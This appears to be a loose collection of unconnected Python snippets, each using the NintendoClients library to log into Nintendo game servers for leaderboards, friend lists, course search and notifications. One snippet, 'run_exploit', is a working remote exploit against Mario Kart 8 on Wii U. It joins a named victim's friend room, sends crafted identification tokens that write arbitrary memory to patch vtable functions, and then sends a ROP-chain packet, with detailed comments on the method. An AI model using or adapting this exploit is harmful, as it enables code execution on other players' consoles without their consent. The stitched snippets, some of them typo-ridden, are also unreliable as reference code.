def backend_login(title, auth_info, login_data, settings=None): api.set_title(title.TITLE_ID_EUR, title.LATEST_VERSION) nex_token = api.get_nex_token(title.GAME_SERVER_ID) auth_info = None login_data = None if auth_info: auth_info = authentication.AuthenticationInfo(nex_token.token, title.SERVER_VERSION) if login_data: login_data = authentication.NintendoLoginData(nex_token.token) client = backend.BackEndClient(title.ACCESS_KEY, title.NEX_VERSION, settings) client.connect(nex_token.host, nex_token.port) client.login( nex_token.username, nex_token.password, auth_info ) return client
def backend_login(title, use_auth_info, use_login_data, settings=None): nnas.set_title(title.TITLE_ID_EUR, title.LATEST_VERSION) nex_token = nnas.get_nex_token(title.GAME_SERVER_ID) auth_info = None login_data = None if use_auth_info: auth_info = authentication.AuthenticationInfo() auth_info.token = nex_token.token auth_info.server_version = title.SERVER_VERSION if use_login_data: login_data = authentication.NintendoLoginData() login_data.token = nex_token.token client = backend.BackEndClient(settings) clietn.configure(title.ACCESS_KEY, title.NEX_VERSION) client.connect(nex_token.host, nex_token.port) client.login(nex_token.username, nex_token.password, auth_info, login_data) return client
def connect(self): self.ErrorCount = 0 if not self.client is None: self.disconnect() time.sleep(3) self.getNASCBits() self.backend = backend.BackEndClient(friends.FriendsTitle.ACCESS_KEY, friends.FriendsTitle.NEX_VERSION, backend.Settings("friends.cfg")) self.backend.connect(self.host, self.port) self.backend.login( self.pid, self.password, auth_info=None, login_data=authentication.AccountExtraInfo(168823937, 2134704128, 0, self.token), ) self.client = friends.Friends3DSClient(self.backend) self.connected = True
from nintendo.nex import backend, authentication, ranking from nintendo.games import MK8Deluxe TRACK_ID = 10 #Sunshine airport HOST = "g%08x-lp1.s.n.srv.nintendo.net" % MK8Deluxe.GAME_SERVER_ID PORT = 443 backend = backend.BackEndClient(MK8Deluxe.ACCESS_KEY, MK8Deluxe.NEX_VERSION, backend.Settings("switch.cfg")) backend.connect(HOST, PORT) backend.login_guest() order_param = ranking.RankingOrderParam() order_param.order_calc = ranking.RankingOrderCalc.ORDINAL order_param.offset = 0 #Start with world record order_param.count = 20 #Download 20 highscores ranking_client = ranking.RankingClient(backend.secure_client) rankings = ranking_client.get_ranking(ranking.RankingMode.GLOBAL, TRACK_ID, order_param, 0, 0) stats = ranking_client.get_stats(TRACK_ID, order_param, ranking.RankingStatFlags.ALL).stats def format_time(score): millisec = score % 1000 seconds = score // 1000 % 60 minutes = score // 1000 // 60 return "%i:%02i.%03i" % (minutes, seconds, millisec)
aauth.set_system_version(SYSTEM_VERSION) response = aauth.auth_digital(SMM2.TITLE_ID, SMM2.TITLE_VERSION, device_token, ticket) app_token = response["application_auth_token"] # Log in on baas server baas = BAASClient() baas.set_system_version(SYSTEM_VERSION) baas.authenticate(device_token) response = baas.login(BAAS_USER_ID, BAAS_PASSWORD, app_token) user_id = int(response["user"]["id"], 16) id_token = response["idToken"] # Connect to game server backend = backend.BackEndClient("switch.cfg") backend.configure(SMM2.ACCESS_KEY, SMM2.NEX_VERSION, SMM2.CLIENT_VERSION) backend.connect(HOST, PORT) # Log in on game server auth_info = authentication.AuthenticationInfo() auth_info.token = id_token auth_info.ngs_version = 4 #Switch auth_info.token_type = 2 backend.login(str(user_id), auth_info=auth_info) # Search for ninji courses store = datastore.DataStoreClientSMM2(backend.secure_client) param = datastore.SearchCoursesEventParam() courses = store.search_courses_event(param)
small_image="nn", small_text=MAINID, large_image=title_id.lower()) else: print("Unknown notification type %i (from %s)" % (event.type, name)) def process_presence_change_event(self, context, event): self.process_nintendo_notification_event(context, event) nnas = nnas.NNASClient() nnas.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION) nnas.set_locale(REGION, COUNTRY, LANGUAGE) nnas.set_title(Friends.TITLE_ID_EUR, Friends.LATEST_VERSION) nnas.login(USERNAME, PASSWORD) nex_token = nnas.get_nex_token(Friends.GAME_SERVER_ID) backend = backend.BackEndClient("friends.cfg") backend.configure(Friends.ACCESS_KEY, Friends.NEX_VERSION) backend.connect(nex_token.host, nex_token.port) login_data = authentication.NintendoLoginData() login_data.token = nex_token.token backend.login(nex_token.username, nex_token.password, None, login_data) backend.secure_client.register_server(NotificationServer()) input("Press enter to disconnect and exit\n") backend.close()
FRIEND_NAME = "..." #Nintendo network id # Log in on account server api = AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) api.set_title(MK8.TITLE_ID_EUR, MK8.LATEST_VERSION) api.login(USERNAME, PASSWORD) my_pid = api.get_pid(USERNAME) friend_pid = api.get_pid(FRIEND_NAME) mii_name = api.get_mii(my_pid).name # Connect to game server nex_token = api.get_nex_token(MK8.GAME_SERVER_ID) backend = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION) backend.connect(nex_token.host, nex_token.port) backend.login( nex_token.username, nex_token.password, authentication.AuthenticationInfo(nex_token.token, MK8.SERVER_VERSION)) matchmake_ext = matchmaking.MatchmakeExtensionClient(backend) # Find friend room playing_sessions = matchmake_ext.get_playing_session([friend_pid]) if not playing_sessions: raise RuntimeError("Couldn't find friend room for %s" % FRIEND_NAME) gathering = playing_sessions[0].gathering # Request session key (for p2p)
COUNTRY = "NL" USERNAME = "******" #Nintendo network id PASSWORD = "******" #Nintendo network password api = account.AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) #Can't login without this api.set_title(DKCTF.TITLE_ID_EUR, DKCTF.LATEST_VERSION ) #This is necessary to request a token for the game server api.login(USERNAME, PASSWORD) #Each game server has its own game server id and access token nex_token = api.get_nex_token(DKCTF.GAME_SERVER_ID) backend = backend.BackEndClient() backend.configure(DKCTF.ACCESS_KEY, DKCTF.NEX_VERSION) backend.connect(nex_token.host, nex_token.port) backend.login(nex_token.username, nex_token.password) order_param = ranking.RankingOrderParam() order_param.offset = 0 #Start with the world record order_param.count = 20 #Download 20 highscores ranking_client = ranking.RankingClient(backend.secure_client) rankings = ranking_client.get_ranking( ranking.RankingMode.GLOBAL, #Get the global leaderboard 0x893EB726, #Category, this is 3-A (Magrove Cove) order_param, 0, 0)
from nintendo.nex import backend from nintendo.games import Friends import logging logging.basicConfig(level=logging.INFO) backend = backend.BackEndClient(Friends.ACCESS_KEY, Friends.NEX_VERSION, backend.Settings("friends.cfg")) backend.connect("127.0.0.1", 1223) backend.login_guest() backend.close()
USERNAME = "******" #Nintendo network id PASSWORD = "******" #Nintendo network password api = account.AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) api.set_title(friends.FriendsTitle.TITLE_ID_EUR, friends.FriendsTitle.LATEST_VERSION) api.login(USERNAME, PASSWORD) pid = api.get_pid(USERNAME) mii = api.get_mii(pid) nex_token = api.get_nex_token(friends.FriendsTitle.GAME_SERVER_ID) backend = backend.BackEndClient(friends.FriendsTitle.ACCESS_KEY, friends.FriendsTitle.NEX_VERSION, backend.Settings("friends.cfg")) backend.connect(nex_token.host, nex_token.port) backend.login(nex_token.username, nex_token.password, None, authentication.NintendoLoginData(nex_token.token)) #Even though you're sending your username and pid to the server, you can't #requests friend information of other people. You'll always get your own data client = friends.FriendsClient(backend) principal_preference, comment, friends, requests_sent, requests_received, \ blacklist, unk1, notifications, unk2 = client.get_all_information( friends.NNAInfo( friends.PrincipalBasicInfo( pid, USERNAME, #Pid and nnid #If you change mii name or data here it will also be changed on Nintendo's servers friends.MiiV2(mii.name, 0, 0, mii.data, common.DateTime(0)),
REGION = 4 #EUR COUNTRY = "NL" USERNAME = "******" #Nintendo network id PASSWORD = "******" #Nintendo network password api = account.AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) #Can't login without this api.set_title(DKCTF.TITLE_ID_EUR, DKCTF.LATEST_VERSION ) #This is necessary to request a token for the game server api.login(USERNAME, PASSWORD) #Each game server has its own game server id and access token nex_token = api.get_nex_token(DKCTF.GAME_SERVER_ID) backend = backend.BackEndClient(DKCTF.ACCESS_KEY, DKCTF.NEX_VERSION) backend.connect(nex_token.host, nex_token.port) backend.login(nex_token.username, nex_token.password) order_param = ranking.RankingOrderParam() order_param.offset = 0 #Start with the world record order_param.count = 20 #Download 20 highscores ranking_client = ranking.RankingClient(backend.secure_client) rankings = ranking_client.get_ranking( ranking.RankingMode.GLOBAL, #Get the global leaderboard 0x893EB726, #Category, this is 3-A (Magrove Cove) order_param, 0, 0)
def run_exploit(payload): rop_payload = payload # Create a packet with a valid header but whose body contains a ROP chain rop_packet = b"\x32\xAB\x98\x64\x01\x00\x00\x00" rop_packet += struct.pack(">%iI" %len(rop_payload), *rop_payload) #Device id can be retrieved with a call to MCP_GetDeviceId(int mcp_fd, uint32_t *out_device_id) on the Wii U #Serial number can be found on the back of the Wii U DEVICE_ID = 1234567890 SERIAL_NUMBER = "GEFXXXYYYZZZ" SYSTEM_VERSION = 0x0250 REGION = 4 #EUR COUNTRY = "FR" USERNAME = "******" #Nintendo network id PASSWORD = "******" #Nintendo network password FRIEND_NAME = "Rambo6Glaz" # victim nintendo network id (both cannot be the same, otherwise you'll get kicked once the python client connects) # Log in on account server api = AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) api.set_title(MK8.TITLE_ID_EUR, MK8.LATEST_VERSION) api.login(USERNAME, PASSWORD) my_pid = api.get_pid(USERNAME) friend_pid = api.get_pid(FRIEND_NAME) mii_name = api.get_mii(my_pid).name # Connect to game server nex_token = api.get_nex_token(MK8.GAME_SERVER_ID) backend_ = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION) backend_.connect(nex_token.host, nex_token.port) backend_.login( nex_token.username, nex_token.password ) matchmake_ext = matchmaking.MatchmakeExtensionClient(backend_) # 0x387E0A1C - 0x387E0640 # Find friend room playing_sessions = matchmake_ext.get_playing_session([friend_pid]) if not playing_sessions: raise RuntimeError("Couldn't find friend room for %s" %FRIEND_NAME) gathering = playing_sessions[0].gathering # Request session key (for p2p) session_key = matchmake_ext.join_matchmake_session( gathering.id, "This is NintendoClients" ) matchmaker = matchmaking.MatchMakingClient(backend_) session_urls = matchmaker.get_session_urls(gathering.id) # Constructs an indentification token that writes # an arbitrary value at an arbitrary address # Constructs an indentification token that writes # an arbitrary value at an arbitrary address def write(addr, value): func = 0xE8A26D4 dummy = 0xAAAAAAAA strbuf = 0x386043D8 vtable = 0x386042D4 return struct.pack( ">IIIIIIII", addr - 0xC, func, dummy, dummy, strbuf, vtable, dummy, value ) # The ability to write an arbitrary value at an arbitrary address is # a powerful tool. It's easy to patch a virtual function for example: # you simply need to overwrite its function pointer in its vtable. # I'll briefly explain how this exploit turns this into a ROP chain. # # Md5Context::GetHashSize is called when the console checks the signature # of an incoming packet, and when it appends a signature to an outgoing # packet. Although GetHashSize doesn't take any parameters, r4 always # contains the content of the packet when it is called, and r5 contains # the size of the packet. This exploit redirects Md5Context::GetHashSize # to the following piece of code: # ... # addi r3, r1, 8 # bl memcpy # ... # The next packet we send to the console after patching Md5Context::GetHashSize # will be copied onto the stack, and the ROP chain starts as soon as # Md5Context::GetHashSize returns. # # There are two issues with this approach: # - The console may try to send a packet before it receives our ROP packet # - The console might receive a packet from someone else before it receives # our ROP packet # Both cases cause a normal packet to be copied onto the stack and crash # the console. This exploit works around the first issue by patching # StationPacketHandler::AssignPacket to always return 0. This stops the # console from trying to send any packets. The second issue is the reason # that this exploit only works when there are no other players in the # friend room. injections = [ (0x1066f9b8, 0xEBC0314), #StationPacketHandler::AssignPacket -> return 0 (0x1066889c, 0xEBE6624) #Md5Context::GetHashSize -> memcpy on stack ] # Initialize P2P session session = PIASession(backend_, session_key) session.start( write(*injections[0]), #Identification token that performs the first injection mii_name ) # Because we won't receive any packets from the console after patching # StationPacketHandler::AssignPacket, we need to guess what the console # expects. # Send a packet that 'expects' an acknowlegement # but don't wait for the acknowlegement def send_with_ack(station, message): ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF message.payload += struct.pack(">I", ack_id) session.transport.send(station, message) # Connect to session host host = session.connect_to_host(session_urls) session.resending_transport.send = send_with_ack session.mesh_protocol.send_join_request(host) #First injection time.sleep(1) #Wait for join response # Replace identification token for second memory injection session.station.identification_info = \ IdentificationInfo(write(*injections[1]), mii_name) # From now on we won't receive any packets from the console so # we have to do things manually. # Disconnect and reconnect to host session.station_protocol.send_disconnection_request(host) session.station_protocol.send_connection_request(host) time.sleep(0.1) ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF session.station_protocol.send_ack(host, struct.pack(">I", ack_id)) session.station_protocol.send_connection_response(host) time.sleep(0.1) ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF session.station_protocol.send_ack(host, struct.pack(">I", ack_id)) time.sleep(1) # Send join request, performing the second memory injection session.mesh_protocol.send_join_request(host) time.sleep(1) # Finally, send packet with ROP chain session.transport.transport.socket.send(rop_packet, host.address) # Disconnect from game server backend_.close()
#logging.basicConfig(level=logging.DEBUG) sys.path.append("./NintendoClients") from nintendo.nex import backend, authentication, datastore from nintendo import account PRINCIPAL_ID = "..." #PrincipalID NEX_PASSWORD = "******" #Nex Password NASC_REQUEST = "..." #Full NASC request for login; alternatively can login using NNID(?) nex_account_details = nasc.login(NASC_REQUEST) backend = backend.BackEndClient( 'd6f08b40', # ACNL Nex Access Key 31017, # Nex Version # backend.Settings("dream.cfg") ) backend.connect(nex_account_details['host'], nex_account_details['port']) login_info = authentication.AuthenticationInfo() login_info.token = nex_account_details['token'] login_info.ngs_version = 3 login_info.token_type = 0 login_info.server_version = 2006 backend.login(PRINCIPAL_ID, NEX_PASSWORD, auth_info=login_info) store = datastore.DataStoreClient(backend.secure_client) get_param = datastore.DataStorePrepareGetParam()